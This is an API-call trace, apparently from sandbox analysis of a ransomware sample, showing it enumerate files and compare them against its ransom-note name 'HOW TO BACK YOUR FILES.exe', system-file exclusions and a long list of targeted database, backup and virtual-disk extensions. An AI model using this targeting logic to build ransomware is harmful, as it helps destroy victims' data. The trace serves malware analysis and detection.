	[0051.605] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml") returned 80
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0051.605] lstrlenW (lpString="settings.html") returned 13
	[0051.605] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned 72
	[0051.605] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0051.605] lstrlenW (lpString=".dll") returned 4
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0051.605] lstrlenW (lpString=".lnk") returned 4
	[0051.605] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0051.605] lstrlenW (lpString=".ini") returned 4
	[0051.606] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0051.606] lstrlenW (lpString=".sys") returned 4
	[0051.606] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0051.606] lstrlenW (lpString="settings.html") returned 13
	[0051.606] lstrlenW (lpString="bak") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.606] lstrlenW (lpString="ba_") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.606] lstrlenW (lpString="dbb") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.606] lstrlenW (lpString="vmdk") returned 4
	[0051.606] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.606] lstrlenW (lpString="rar") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.606] lstrlenW (lpString="zip") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.606] lstrlenW (lpString="tgz") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.606] lstrlenW (lpString="vbox") returned 4
	[0051.606] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.606] lstrlenW (lpString="vdi") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.606] lstrlenW (lpString="vhd") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.606] lstrlenW (lpString="vhdx") returned 4
	[0051.606] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.606] lstrlenW (lpString="avhd") returned 4
	[0051.606] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.606] lstrlenW (lpString="db") returned 2
	[0051.606] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.606] lstrlenW (lpString="db2") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.606] lstrlenW (lpString="db3") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.606] lstrlenW (lpString="dbf") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.606] lstrlenW (lpString="mdf") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.606] lstrlenW (lpString="mdb") returned 3
	[0051.606] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.606] lstrlenW (lpString="sql") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.607] lstrlenW (lpString="sqlite") returned 6
	[0051.607] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0051.607] lstrlenW (lpString="sqlite3") returned 7
	[0051.607] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0051.607] lstrlenW (lpString="sqlitedb") returned 8
	[0051.607] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0051.607] lstrlenW (lpString="xml") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.607] lstrlenW (lpString="$er") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.607] lstrlenW (lpString="4dd") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.607] lstrlenW (lpString="4dl") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.607] lstrlenW (lpString="^^^") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.607] lstrlenW (lpString="abs") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.607] lstrlenW (lpString="abx") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.607] lstrlenW (lpString="accdb") returned 5
	[0051.607] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.607] lstrlenW (lpString="accdc") returned 5
	[0051.607] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.607] lstrlenW (lpString="accde") returned 5
	[0051.607] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.607] lstrlenW (lpString="accdr") returned 5
	[0051.607] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.607] lstrlenW (lpString="accdt") returned 5
	[0051.607] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.607] lstrlenW (lpString="accdw") returned 5
	[0051.607] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.607] lstrlenW (lpString="accft") returned 5
	[0051.607] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.607] lstrlenW (lpString="adb") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.607] lstrlenW (lpString="adb") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.607] lstrlenW (lpString="ade") returned 3
	[0051.607] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.608] lstrlenW (lpString="adf") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.608] lstrlenW (lpString="adn") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.608] lstrlenW (lpString="adp") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.608] lstrlenW (lpString="alf") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.608] lstrlenW (lpString="ask") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.608] lstrlenW (lpString="btr") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.608] lstrlenW (lpString="cat") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.608] lstrlenW (lpString="cdb") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.608] lstrlenW (lpString="ckp") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.608] lstrlenW (lpString="cma") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.608] lstrlenW (lpString="cpd") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.608] lstrlenW (lpString="dacpac") returned 6
	[0051.608] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0051.608] lstrlenW (lpString="dad") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.608] lstrlenW (lpString="dadiagrams") returned 10
	[0051.608] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0051.608] lstrlenW (lpString="daschema") returned 8
	[0051.608] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0051.608] lstrlenW (lpString="db-journal") returned 10
	[0051.608] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0051.608] lstrlenW (lpString="db-shm") returned 6
	[0051.608] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0051.608] lstrlenW (lpString="db-wal") returned 6
	[0051.608] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0051.608] lstrlenW (lpString="dbc") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.608] lstrlenW (lpString="dbs") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.608] lstrlenW (lpString="dbt") returned 3
	[0051.608] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.609] lstrlenW (lpString="dbv") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.609] lstrlenW (lpString="dbx") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.609] lstrlenW (lpString="dcb") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.609] lstrlenW (lpString="dct") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0051.609] lstrlenW (lpString="dcx") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0051.609] lstrlenW (lpString="ddl") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0051.609] lstrlenW (lpString="dlis") returned 4
	[0051.609] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0051.609] lstrlenW (lpString="dp1") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0051.609] lstrlenW (lpString="dqy") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0051.609] lstrlenW (lpString="dsk") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0051.609] lstrlenW (lpString="dsn") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0051.609] lstrlenW (lpString="dtsx") returned 4
	[0051.609] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0051.609] lstrlenW (lpString="dxl") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0051.609] lstrlenW (lpString="eco") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0051.609] lstrlenW (lpString="ecx") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0051.609] lstrlenW (lpString="edb") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0051.609] lstrlenW (lpString="epim") returned 4
	[0051.609] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0051.609] lstrlenW (lpString="fcd") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0051.609] lstrlenW (lpString="fdb") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0051.609] lstrlenW (lpString="fic") returned 3
	[0051.609] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0051.610] lstrlenW (lpString="flexolibrary") returned 12
	[0051.610] lstrcmpiW (lpString1="ettings.html", lpString2="flexolibrary") returned -1
	[0051.610] lstrlenW (lpString="fm5") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0051.610] lstrlenW (lpString="fmp") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0051.610] lstrlenW (lpString="fmp12") returned 5
	[0051.610] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0051.610] lstrlenW (lpString="fmpsl") returned 5
	[0051.610] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0051.610] lstrlenW (lpString="fol") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0051.610] lstrlenW (lpString="fp3") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0051.610] lstrlenW (lpString="fp4") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0051.610] lstrlenW (lpString="fp5") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0051.610] lstrlenW (lpString="fp7") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0051.610] lstrlenW (lpString="fpt") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0051.610] lstrlenW (lpString="frm") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0051.610] lstrlenW (lpString="gdb") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.610] lstrlenW (lpString="gdb") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.610] lstrlenW (lpString="grdb") returned 4
	[0051.610] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0051.610] lstrlenW (lpString="gwi") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0051.610] lstrlenW (lpString="hdb") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0051.610] lstrlenW (lpString="his") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0051.610] lstrlenW (lpString="ib") returned 2
	[0051.610] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0051.610] lstrlenW (lpString="idb") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0051.610] lstrlenW (lpString="ihx") returned 3
	[0051.610] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0051.611] lstrlenW (lpString="itdb") returned 4
	[0051.611] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0051.611] lstrlenW (lpString="itw") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0051.611] lstrlenW (lpString="jet") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0051.611] lstrlenW (lpString="jtx") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0051.611] lstrlenW (lpString="kdb") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0051.611] lstrlenW (lpString="kexi") returned 4
	[0051.611] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0051.611] lstrlenW (lpString="kexic") returned 5
	[0051.611] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0051.611] lstrlenW (lpString="kexis") returned 5
	[0051.611] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0051.611] lstrlenW (lpString="lgc") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0051.611] lstrlenW (lpString="lwx") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0051.611] lstrlenW (lpString="maf") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0051.611] lstrlenW (lpString="maq") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0051.611] lstrlenW (lpString="mar") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0051.611] lstrlenW (lpString="marshal") returned 7
	[0051.611] lstrcmpiW (lpString1="gs.html", lpString2="marshal") returned -1
	[0051.611] lstrlenW (lpString="mas") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0051.611] lstrlenW (lpString="mav") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0051.611] lstrlenW (lpString="maw") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0051.611] lstrlenW (lpString="mdbhtml") returned 7
	[0051.611] lstrcmpiW (lpString1="gs.html", lpString2="mdbhtml") returned -1
	[0051.611] lstrlenW (lpString="mdn") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0051.611] lstrlenW (lpString="mdt") returned 3
	[0051.611] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0051.611] lstrlenW (lpString="mfd") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0051.612] lstrlenW (lpString="mpd") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0051.612] lstrlenW (lpString="mrg") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0051.612] lstrlenW (lpString="mud") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0051.612] lstrlenW (lpString="mwb") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0051.612] lstrlenW (lpString="myd") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0051.612] lstrlenW (lpString="ndf") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0051.612] lstrlenW (lpString="nnt") returned 3
	[0051.612] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0051.612] lstrlenW (lpString="nrmlib") returned 6
	[0051.613] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0051.613] lstrlenW (lpString="ns2") returned 3
	[0051.613] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0051.613] lstrlenW (lpString="ns3") returned 3
	[0051.613] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0051.613] lstrlenW (lpString="ns4") returned 3
	[0051.613] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0051.613] lstrlenW (lpString="nsf") returned 3
	[0051.613] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0051.613] lstrlenW (lpString="nv") returned 2
	[0051.613] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0051.613] lstrlenW (lpString="nv2") returned 3
	[0051.613] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0051.613] lstrlenW (lpString="nwdb") returned 4
	[0051.614] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0051.614] lstrlenW (lpString="nyf") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0051.614] lstrlenW (lpString="odb") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.614] lstrlenW (lpString="odb") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.614] lstrlenW (lpString="oqy") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0051.614] lstrlenW (lpString="ora") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0051.614] lstrlenW (lpString="orx") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0051.614] lstrlenW (lpString="owc") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0051.614] lstrlenW (lpString="p96") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0051.614] lstrlenW (lpString="p97") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0051.614] lstrlenW (lpString="pan") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0051.614] lstrlenW (lpString="pdb") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0051.614] lstrlenW (lpString="pdm") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0051.614] lstrlenW (lpString="pnz") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0051.614] lstrlenW (lpString="qry") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0051.614] lstrlenW (lpString="qvd") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0051.614] lstrlenW (lpString="rbf") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0051.614] lstrlenW (lpString="rctd") returned 4
	[0051.614] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0051.614] lstrlenW (lpString="rod") returned 3
	[0051.614] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0051.614] lstrlenW (lpString="rodx") returned 4
	[0051.614] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0051.614] lstrlenW (lpString="rpd") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0051.615] lstrlenW (lpString="rsd") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0051.615] lstrlenW (lpString="sas7bdat") returned 8
	[0051.615] lstrcmpiW (lpString1="ngs.html", lpString2="sas7bdat") returned -1
	[0051.615] lstrlenW (lpString="sbf") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0051.615] lstrlenW (lpString="scx") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0051.615] lstrlenW (lpString="sdb") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0051.615] lstrlenW (lpString="sdc") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0051.615] lstrlenW (lpString="sdf") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0051.615] lstrlenW (lpString="sis") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0051.615] lstrlenW (lpString="spq") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0051.615] lstrlenW (lpString="te") returned 2
	[0051.615] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0051.615] lstrlenW (lpString="teacher") returned 7
	[0051.615] lstrcmpiW (lpString1="gs.html", lpString2="teacher") returned -1
	[0051.615] lstrlenW (lpString="tmd") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0051.615] lstrlenW (lpString="tps") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0051.615] lstrlenW (lpString="trc") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.615] lstrlenW (lpString="trc") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.615] lstrlenW (lpString="trm") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0051.615] lstrlenW (lpString="udb") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0051.615] lstrlenW (lpString="udl") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0051.615] lstrlenW (lpString="usr") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0051.615] lstrlenW (lpString="v12") returned 3
	[0051.615] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0051.615] lstrlenW (lpString="vis") returned 3
	[0051.616] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0051.616] lstrlenW (lpString="vpd") returned 3
	[0051.616] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0051.616] lstrlenW (lpString="vvv") returned 3
	[0051.616] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0051.616] lstrlenW (lpString="wdb") returned 3
	[0051.616] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0051.616] lstrlenW (lpString="wmdb") returned 4
	[0051.616] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0051.616] lstrlenW (lpString="wrk") returned 3
	[0051.616] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0051.616] lstrlenW (lpString="xdb") returned 3
	[0051.616] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0051.616] lstrlenW (lpString="xld") returned 3
	[0051.616] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0051.616] lstrlenW (lpString="xmlff") returned 5
	[0051.616] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0051.616] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2=".") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="..") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="windows") returned -1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="bootmgr") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="temp") returned -1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="pagefile.sys") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="boot") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="ids.txt") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="ntuser.dat") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="perflogs") returned 1
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2="MSBuild") returned 1
	[0051.616] lstrlenW (lpString="slideShow.html") returned 14
	[0051.616] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html") returned 83
	[0051.616] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="slideShow.html" | out: lpString1="slideShow.html") returned="slideShow.html"
	[0051.616] lstrlenW (lpString="slideShow.html") returned 14
	[0051.616] lstrlenW (lpString="Apollon865") returned 10
	[0051.616] lstrcmpiW (lpString1="eShow.html", lpString2="Apollon865") returned 1
	[0051.616] lstrlenW (lpString=".dll") returned 4
	[0051.616] lstrcmpiW (lpString1="slideShow.html", lpString2=".dll") returned 1
	[0051.616] lstrlenW (lpString=".lnk") returned 4
	[0051.617] lstrcmpiW (lpString1="slideShow.html", lpString2=".lnk") returned 1
	[0051.617] lstrlenW (lpString=".ini") returned 4
	[0051.617] lstrcmpiW (lpString1="slideShow.html", lpString2=".ini") returned 1
	[0051.617] lstrlenW (lpString=".sys") returned 4
	[0051.617] lstrcmpiW (lpString1="slideShow.html", lpString2=".sys") returned 1
	[0051.617] lstrlenW (lpString="slideShow.html") returned 14
	[0051.617] lstrlenW (lpString="bak") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.617] lstrlenW (lpString="ba_") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.617] lstrlenW (lpString="dbb") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.617] lstrlenW (lpString="vmdk") returned 4
	[0051.617] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.617] lstrlenW (lpString="rar") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.617] lstrlenW (lpString="zip") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.617] lstrlenW (lpString="tgz") returned 3
